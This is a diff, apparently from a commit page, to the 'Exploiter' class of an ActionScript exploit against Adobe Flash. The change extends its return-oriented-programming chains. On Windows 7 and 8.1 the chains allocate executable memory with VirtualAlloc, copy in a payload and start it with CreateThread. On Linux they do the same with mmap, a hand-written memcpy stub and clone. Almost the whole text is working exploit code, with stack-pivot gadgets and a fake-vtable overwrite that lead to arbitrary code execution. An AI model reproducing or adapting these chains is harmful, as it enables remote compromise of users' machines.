9
9
private var exploit: Exploit
10
10
private var ev: ExploitVector
11
11
private var eba: ExploitByteArray
12
- private var payload: String
12
+ private var payload: ByteArray
13
13
private var platform: String
14
+ private var op_system: String
14
15
private var pos: uint
15
16
private var byte_array_object: uint
16
17
private var main: uint
@@ -25,11 +26,12 @@ package
25
26
private var payload_space: Vector .< uint > = new Vector .< uint > (0x6400 )
26
27
private var spray: Vector .< Object > = new Vector .< Object > (89698 )
27
28
28
- public function Exploiter (exp :Exploit , pl :String , p : String , uv :Vector .<uint>):void
29
+ public function Exploiter (exp :Exploit , pl :String , os : String , p : ByteArray , uv :Vector .<uint>):void
29
30
{
30
31
exploit = exp
31
32
payload = p
32
33
platform = pl
34
+ op_system = os
33
35
34
36
ev = new ExploitVector(uv)
35
37
if (! ev. is_ready()) return
@@ -133,12 +135,19 @@ package
133
135
private function do_rop ():void
134
136
{
135
137
Logger. log ("[*] Exploiter - do_rop()" )
136
- if (platform == "linux" )
138
+ if (platform == "linux" ) {
137
139
do_rop_linux()
138
- else if (platform == "win" )
139
- do_rop_windows()
140
- else
140
+ } else if (platform == "win" ) {
141
+ if (op_system == "Windows 8.1" ) {
142
+ do_rop_windows8()
143
+ } else if (op_system == "Windows 7" ) {
144
+ do_rop_windows()
145
+ } else {
146
+ return
147
+ }
148
+ } else {
141
149
return
150
+ }
142
151
}
143
152
144
153
private function do_rop_windows ():void
@@ -147,11 +156,15 @@ package
147
156
var pe: PE = new PE (eba)
148
157
var flash: uint = pe. base (vtable)
149
158
var winmm: uint = pe. module ("winmm.dll" , flash)
150
- var kernel32: uint = pe. module ("kernel32.dll" , winmm)
159
+ var kernel32: uint = pe. module ("kernel32.dll" , winmm)
160
+ var ntdll: uint = pe. module ("ntdll.dll" , kernel32)
151
161
var virtualprotect: uint = pe. procedure("VirtualProtect" , kernel32)
152
- var winexec: uint = pe. procedure("WinExec" , kernel32)
162
+ var virtualalloc: uint = pe. procedure("VirtualAlloc" , kernel32)
163
+ var createthread: uint = pe. procedure("CreateThread" , kernel32)
164
+ var memcpy: uint = pe. procedure("memcpy" , ntdll)
153
165
var xchgeaxespret: uint = pe. gadget("c394" , 0x0000ffff , flash)
154
166
var xchgeaxesiret: uint = pe. gadget("c396" , 0x0000ffff , flash)
167
+ var addespcret: uint = pe. gadget("c30cc483" , 0xffffffff , ntdll)
155
168
156
169
// Continuation of execution
157
170
eba. write(buffer + 0x10 , "\x b8" , false ); eba. write(0 , vtable, false ) // mov eax, vtable
@@ -169,16 +182,101 @@ package
169
182
eba. write(0 , virtualprotect)
170
183
171
184
// VirtualProtect
172
- eba. write(0 , winexec )
185
+ eba. write(0 , virtualalloc )
173
186
eba. write(0 , buffer + 0x10 )
174
187
eba. write(0 , 0x1000 )
175
188
eba. write(0 , 0x40 )
176
189
eba. write(0 , buffer + 0x8 ) // Writable address (4 bytes)
177
190
178
- // WinExec
191
+ // VirtualAlloc
192
+ eba. write(0 , memcpy)
193
+ eba. write(0 , 0x7f6e0000 )
194
+ eba. write(0 , 0x4000 )
195
+ eba. write(0 , 0x1000 | 0x2000 ) // MEM_COMMIT | MEM_RESERVE
196
+ eba. write(0 , 0x40 ) // PAGE_EXECUTE_READWRITE
197
+
198
+ // memcpy
199
+ eba. write(0 , addespcret) // stack pivot over arguments because ntdll!memcpy doesn't
200
+ eba. write(0 , 0x7f6e0000 )
201
+ eba. write(0 , payload_address + 8 )
202
+ eba. write(0 , payload. length )
203
+
204
+ // CreateThread
205
+ eba. write(0 , createthread)
206
+ eba. write(0 , buffer + 0x10 ) // return to fix things
207
+ eba. write(0 , 0 )
208
+ eba. write(0 , 0 )
209
+ eba. write(0 , 0x7f6e0000 )
210
+ eba. write(0 , 0 )
211
+ eba. write(0 , 0 )
212
+ eba. write(0 , 0 )
213
+
214
+ eba. write(main, stack_address + 0x18000 ) // overwrite with fake vtable
215
+ exploit. toString () // call method in the fake vtable
216
+ }
217
+
218
+ private function do_rop_windows8 ():void
219
+ {
220
+ Logger. log ("[*] Exploiter - do_rop_windows8()" )
221
+ var pe: PE = new PE (eba)
222
+ var flash: uint = pe. base (vtable)
223
+ var winmm: uint = pe. module ("winmm.dll" , flash)
224
+ var advapi32: uint = pe. module ("advapi32.dll" , flash)
225
+ var kernelbase: uint = pe. module ("kernelbase.dll" , advapi32)
226
+ var kernel32: uint = pe. module ("kernel32.dll" , winmm)
227
+ var ntdll: uint = pe. module ("ntdll.dll" , kernel32)
228
+ var virtualprotect: uint = pe. procedure("VirtualProtect" , kernelbase)
229
+ var virtualalloc: uint = pe. procedure("VirtualAlloc" , kernelbase)
230
+ var createthread: uint = pe. procedure("CreateThread" , kernelbase)
231
+ var memcpy: uint = pe. procedure("memcpy" , ntdll)
232
+ var xchgeaxespret: uint = pe. gadget("c394" , 0x0000ffff , flash)
233
+ var xchgeaxesiret: uint = pe. gadget("c396" , 0x0000ffff , flash)
234
+ var addespcret: uint = pe. gadget("c30cc483" , 0xffffffff , ntdll)
235
+
236
+ // Continuation of execution
237
+ eba. write(buffer + 0x10 , "\x b8" , false ); eba. write(0 , vtable, false ) // mov eax, vtable
238
+ eba. write(0 , "\x bb" , false ); eba. write(0 , main, false ) // mov ebx, main
239
+ eba. write(0 , "\x 89\x 03" , false ) // mov [ebx], eax
240
+ eba. write(0 , "\x 87\x f4\x c3" , false ) // xchg esp, esi # ret
241
+
242
+ // Put the payload (command) in memory
243
+ eba. write(payload_address + 8 , payload, true ); // payload
244
+
245
+ // Put the fake vtabe / stack on memory
246
+ eba. write(stack_address + 0x18070 , xchgeaxespret) // Initial gadget (stackpivot); from @hdarwin89 sploits, kept for reliability...
247
+ eba. write(stack_address + 0x180a4 , xchgeaxespret) // Initial gadget (stackpivot); call dword ptr [eax+0A4h]
248
+ eba. write(stack_address + 0x18000 , xchgeaxesiret) // fake vtable; also address will become stack after stackpivot
249
+ eba. write(0 , virtualprotect)
250
+
251
+ // VirtualProtect
252
+ eba. write(0 , virtualalloc)
179
253
eba. write(0 , buffer + 0x10 )
254
+ eba. write(0 , 0x1000 )
255
+ eba. write(0 , 0x40 )
256
+ eba. write(0 , buffer + 0x8 ) // Writable address (4 bytes)
257
+
258
+ // VirtualAlloc
259
+ eba. write(0 , memcpy)
260
+ eba. write(0 , 0x7ffd0000 )
261
+ eba. write(0 , 0x4000 )
262
+ eba. write(0 , 0x1000 | 0x2000 ) // MEM_COMMIT | MEM_RESERVE
263
+ eba. write(0 , 0x40 ) // PAGE_EXECUTE_READWRITE
264
+
265
+ // memcpy
266
+ eba. write(0 , addespcret) // stack pivot over arguments because ntdll!memcpy doesn't
267
+ eba. write(0 , 0x7ffd0000 )
180
268
eba. write(0 , payload_address + 8 )
181
- eba. write(0 )
269
+ eba. write(0 , payload. length )
270
+
271
+ // CreateThread
272
+ eba. write(0 , createthread)
273
+ eba. write(0 , buffer + 0x10 ) // return to fix things
274
+ eba. write(0 , 0 )
275
+ eba. write(0 , 0 )
276
+ eba. write(0 , 0x7ffd0000 )
277
+ eba. write(0 , 0 )
278
+ eba. write(0 , 0 )
279
+ eba. write(0 , 0 )
182
280
183
281
eba. write(main, stack_address + 0x18000 ) // overwrite with fake vtable
184
282
exploit. toString () // call method in the fake vtable
@@ -192,6 +290,8 @@ package
192
290
var libc: Elf = new Elf(eba, feof)
193
291
var popen: uint = libc. symbol("popen" )
194
292
var mprotect: uint = libc. symbol("mprotect" )
293
+ var mmap: uint = libc. symbol("mmap" )
294
+ var clone : uint = libc. symbol("clone" )
195
295
var xchgeaxespret: uint = flash. gadget("c394" , 0x0000ffff )
196
296
var xchgeaxesiret: uint = flash. gadget("c396" , 0x0000ffff )
197
297
var addesp2cret: uint = flash. gadget("c32cc483" , 0xffffffff )
@@ -204,9 +304,21 @@ package
204
304
// 2) Recover original stack
205
305
eba. write(0 , "\x 87\x f4\x c3" , false ) // xchg esp, esi
206
306
307
+ // my_memcpy
308
+ eba. write(buffer + 0x60 , "\x 56" , false ) // push esi
309
+ eba. write(0 , "\x 57" , false ) // push edi
310
+ eba. write(0 , "\x 51" , false ) // push ecx
311
+ eba. write(0 , "\x 8B\x 7C\x 24\x 10" , false ) // mov edi,[esp+0x10]
312
+ eba. write(0 , "\x 8B\x 74\x 24\x 14" , false ) // mov esi,[esp+0x14]
313
+ eba. write(0 , "\x 8B\x 4C\x 24\x 18" , false ) // mov ecx,[esp+0x18]
314
+ eba. write(0 , "\x F3\x A4" , false ) // rep movsb
315
+ eba. write(0 , "\x 59" , false ) // pop ecx
316
+ eba. write(0 , "\x 5f" , false ) // pop edi
317
+ eba. write(0 , "\x 5e" , false ) // pop esi
318
+ eba. write(0 , "\x c3" , false ) // ret
319
+
207
320
// Put the popen parameters in memory
208
- eba. write(payload_address + 8 , 'r' , true ) // type
209
- eba. write(payload_address + 0xc , payload, true ) // command
321
+ eba. write(payload_address + 0x8 , payload, true ) // false
210
322
211
323
// Put the fake stack/vtable on memory
212
324
eba. write(stack_address + 0x18024 , xchgeaxespret) // Initial gadget, stackpivot
@@ -221,13 +333,49 @@ package
221
333
eba. write(0 , buffer) // addr
222
334
eba. write(0 , 0x1000 ) // size
223
335
eba. write(0 , 0x7 ) // PROT_READ | PROT_WRITE | PROT_EXEC
224
- // Return to popen()
225
- eba. write(stack_address + 0x18068 , popen)
336
+
337
+ // Return to mmap()
338
+ eba. write(stack_address + 0x18068 , mmap)
339
+ // Return to stackpivot (jmp over mmap parameters)
340
+ eba. write(0 , addesp2cret)
341
+ // mmap() code segment arguments
342
+ eba. write(0 , 0x70000000 ) // 0x70000000
343
+ eba. write(0 , 0x4000 ) // size
344
+ eba. write(0 , 0x7 ) // PROT_READ | PROT_WRITE | PROT_EXEC
345
+ eba. write(0 , 0x22 ) // MAP_PRIVATE | MAP_ANONYMOUS
346
+ eba. write(0 , 0xffffffff ) // filedes
347
+ eba. write(0 , 0 ) // offset
348
+
349
+ // Return to mmap()
350
+ eba. write(stack_address + 0x1809c , mmap)
351
+ // Return to stackpivot (jmp over mmap parameters)
352
+ eba. write(0 , addesp2cret)
353
+ // mmap() stack segment arguments
354
+ eba. write(0 , 0x70008000 ) // NULL
355
+ eba. write(0 , 0x10000 ) // size
356
+ eba. write(0 , 0x7 ) // PROT_READ | PROT_WRITE | PROT_EXEC
357
+ eba. write(0 , 0x22 ) // MAP_PRIVATE | MAP_ANONYMOUS
358
+ eba. write(0 , - 1 ) // filedes
359
+ eba. write(0 , 0 ) // offset
360
+
361
+ // Return to memcpy()
362
+ eba. write(stack_address + 0x180d0 , buffer + 0x60 )
363
+ // Return to stackpivot (jmp over memcpy parameters)
364
+ eba. write(0 , addesp2cret)
365
+ // memcpy() parameters
366
+ eba. write(0 , 0x70000000 )
367
+ eba. write(0 , payload_address + 0x8 )
368
+ eba. write(0 , payload. length )
369
+
370
+ // Return to clone()
371
+ eba. write(stack_address + 0x18104 , clone )
226
372
// Return to CoE (fix stack and object vtable)
227
373
eba. write(0 , buffer + 0x10 )
228
- // popen() argument
229
- eba. write(0 , payload_address + 0xc )
230
- eba. write(0 , payload_address + 8 )
374
+ // clone() arguments
375
+ eba. write(0 , 0x70000000 ) // code
376
+ eba. write(0 , 0x7000bff0 ) // stack
377
+ eba. write(0 , 0x00000100 ) // flags CLONE_VM
378
+ eba. write(0 , 0 ) // args
231
379
232
380
//call DWORD PTR [eax+0x24]
233
381
//EAX: 0x41414141 ('AAAA')
0 commit comments